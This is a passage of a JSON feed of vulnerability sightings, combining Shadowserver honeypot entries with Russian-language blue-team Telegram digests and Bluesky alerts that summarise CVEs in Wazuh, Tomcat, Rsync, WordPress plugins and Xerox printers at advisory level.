\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-16T00:00:51.246081Z"}, {"uuid": "74cda350-3c46-4d5b-ae1f-9ca8c516869c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-11)", "content": "", "creation_timestamp": "2026-07-12T10:15:03.695232Z"}, {"uuid": "70f2030a-bd0e-4d79-8efd-08976bf1bf72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-06)", "content": "", "creation_timestamp": "2026-08-07T10:15:04.171374Z"}, {"uuid": "3603ac08-459a-4703-b808-3be2fa67ed3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12021", "type": "seen", "source": "https://t.me/purp_sec/441", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u041e\u0421 Unity 5.4 \u2014 \u0435\u0449\u0435 \u043c\u043d\u043e\u0433\u043e CVE, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445, \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Dell Unity. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 CVE-2025-22398 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 Dell Unity, UnityVSA \u0438 Unity XT. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 root.\n\n\ud83d\udd35 CVE-2024-12021 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Coverity, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 XSS-\u0430\u0442\u0430\u043a\u0443. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a \u0434\u0440\u0443\u0433\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c XSS-\u0430\u0442\u0430\u043a.\n\n\ud83d\udd35 CVE-2025-0282 \u2014 \u043e\u0442\u0447\u0435\u0442 CISA \u043e \u043d\u043e\u0432\u043e\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e RESURGE, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u043c CVE-2025-0282 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Ivanti Connect Secure.\n\n\n\u0410 \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u0435\u0436\u0438\u0445 CVE \u0434\u043b\u044f \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0432 WordPress:\n\n\ud83d\udd35 CVE-2025-2294 \u2014 LFI-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Kubio AI Page Builder \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35 CVE-2024-3628 \u2014 \u0431\u0430\u0433 \u0432 EasyEvent, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c XSS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35 CVE-2024-4082 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Joli FAQ SEO, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 CSRF-\u0430\u0442\u0430\u043a. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430.\n\n\ud83d\udd35 CVE-2024-3923 \u2014 \u200b\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Beaver Builder, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u0441\u0435\u0449\u0430\u044e\u0449\u0438\u0445 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-16T00:00:53.181990Z"}, {"uuid": "9558fc7f-9db4-4202-9af1-19e66e40792b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-12)", "content": "", "creation_timestamp": "2026-07-13T10:15:04.834786Z"}, {"uuid": "55dc58e8-dea8-4f40-a465-1022cbffb1d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mqkkxmsdj32p", "content": "\ud83c\udf11 HADAL \u00b7 actively exploited critical\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system co\u2026\nCVSS 10 \u00b7 EPSS 95.4% \u00b7 CISA KEV\nhttps://beta.vulnsea.com/cve/CVE-2024-1212\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-07-13T20:49:50.215812Z"}, {"uuid": "ad3a0d18-19ec-4dec-8ea4-8fa268ee01c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-17)", "content": "", "creation_timestamp": "2026-08-18T10:15:03.127657Z"}, {"uuid": "f392ff67-aa9a-42b3-902a-57d5fdcc3670", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-13)", "content": "", "creation_timestamp": "2026-07-14T10:15:05.003918Z"}, {"uuid": "74460244-c7a0-4279-92f0-7b135a3ec3a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-18)", "content": "", "creation_timestamp": "2026-08-19T10:00:03.707503Z"}, {"uuid": "5cce89e6-81ce-40a4-9d96-cfbc90fa3525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-18)", "content": "", "creation_timestamp": "2026-08-19T10:15:03.819779Z"}, {"uuid": "f21f8090-c222-4857-b937-5aeff5dfe961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-15)", "content": "", "creation_timestamp": "2026-08-16T10:00:03.494462Z"}, {"uuid": "40fde897-fd73-4519-ae79-1fa96dea5f94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-14)", "content": "", "creation_timestamp": "2026-07-15T10:00:02.970436Z"}, {"uuid": "f9c034e3-5edd-447b-bff6-6fb23c86a6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-14)", "content": "", "creation_timestamp": "2026-07-15T10:15:04.071548Z"}, {"uuid": "d3a0009c-2658-4ab0-9a3c-e9bd19fa3a3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-15)", "content": "", "creation_timestamp": "2026-07-16T10:00:03.260331Z"}, {"uuid": "87c4a294-bef8-4f19-bea1-9ea8f6daec77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-15)", "content": "", "creation_timestamp": "2026-07-16T10:15:04.336022Z"}, {"uuid": "1659b4e4-60c1-43c9-89d0-fe4cb09dc112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqr4xanuen2z", "content": "CVE-2024-12345: Splunk and Zoom Patches \u2013 Reaction or Oversight? #CVE2024 #CyberSecurity #Vulnerability", "creation_timestamp": "2026-07-16T11:27:43.037928Z"}, {"uuid": "53bb9e3e-e4ba-4adf-aa96-7605d9a73fd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "Telegram/mXwJqGjsLNp0LFwWbXU4h3vA714Oj6yIG5AFZePUNxHCgwE", "content": "", "creation_timestamp": "2026-08-27T12:00:07.027444Z"}, {"uuid": "926ffcfc-7082-4cb3-9511-56f1cb112d6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "Telegram/mXwJqGjsLNp0LFwWbXU4h3vA714Oj6yIG5AFZePUNxHCgwE", "content": "", "creation_timestamp": "2026-08-28T00:00:50.622101Z"}, {"uuid": "f0bd02bb-a766-4a2c-a85e-6b1cc7ceb1e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-16)", "content": "", "creation_timestamp": "2026-07-17T10:00:03.566511Z"}, {"uuid": "8ecede76-5f1d-4dda-9045-9d2d44ab83fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-16)", "content": "", "creation_timestamp": "2026-07-17T10:15:04.775601Z"}, {"uuid": "0c7788ba-0659-4fc2-932f-0b81c0d3ac3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/rtinfobez/218", "content": "\ud83d\udfe1 \u041f\u0440\u0438\u043d\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\n\n\u0412\u044b \u0432\u0440\u044f\u0434 \u043b\u0438 \u0434\u0443\u043c\u0430\u0435\u0442\u0435 \u043e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0435 \u043a\u0430\u043a \u043e\u0431 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0445\u0430\u043a\u0435\u0440\u043e\u0432. \u0410 \u0437\u0440\u044f. \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Xerox VersaLink C7025 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442?\n\u23fa\u041f\u0435\u0440\u0432\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 (CVE-2024-12510, CVSS 6.7) \u2014 \u0445\u0430\u043a\u0435\u0440 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b LDAP. \u0412 \u0438\u0442\u043e\u0433\u0435 \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043b\u043e\u0433\u0438\u043d\u044b \u0438 \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432.\n\u23fa\u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 (CVE-2024-12511, CVSS 7.6) \u2014 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 SMB \u0438\u043b\u0438 FTP, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b. \u041a\u043e\u0433\u0434\u0430 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0435\u0433\u043e \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0440\u0443\u043a\u0430\u0445 \u0445\u0430\u043a\u0435\u0440\u0430.\n\n\u0412\u0441\u0435, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0430\u043a\u0442 \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n\u23fa\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 (Service Pack 